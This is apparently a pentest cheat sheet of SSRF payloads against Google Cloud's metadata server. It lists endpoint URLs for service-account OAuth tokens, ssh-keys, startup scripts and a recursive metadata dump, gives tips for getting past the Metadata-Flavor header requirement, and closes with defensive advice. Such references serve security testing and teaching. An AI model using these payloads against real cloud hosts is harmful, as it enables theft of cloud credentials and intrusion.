GCP Metadata SSRF Payloads
SSRF payloads for the Google Cloud metadata server at metadata.google.internal / 169.254.169.254 — service-account tokens, project data and the mandatory Metadata-Flavor: Google header.
GCP's metadata server returns a short-lived service-account OAuth2 token you use directly against googleapis.com. It lives at metadata.google.internal and at 169.254.169.254.
Every request must carry the header Metadata-Flavor: Google — that header requirement is GCP's built-in SSRF mitigation, so a plain GET-only SSRF can't read it. You need header injection or a fetcher that sets headers (or gopher://).
Confirm server-side fetch with an out-of-band listener, then try the recursive dump to map what the service account can see.
GCP metadata endpoints
All require header Metadata-Flavor: Google.
http://metadata.google.internal/computeMetadata/v1/Metadata root (header Metadata-Flavor: Google required)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenService-account OAuth2 bearer token — the prize
http://metadata.google.internal/computeMetadata/v1/project/project-idGCP project ID
http://metadata.google.internal/computeMetadata/v1/instance/attributes/Startup scripts, ssh-keys and custom attributes
http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=jsonRecursive dump of the whole tree
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokenSame service via the raw link-local IP
Defense
- Keep the Metadata-Flavor header requirement (don't disable legacy v1 endpoints that skip it).
- Bind service accounts to least privilege and prefer workload identity over node-wide service accounts.
- Block egress to metadata.google.internal for workloads that don't call Google APIs.
- Resolve-and-pin the fetch target; reject link-local ranges on every resolved record.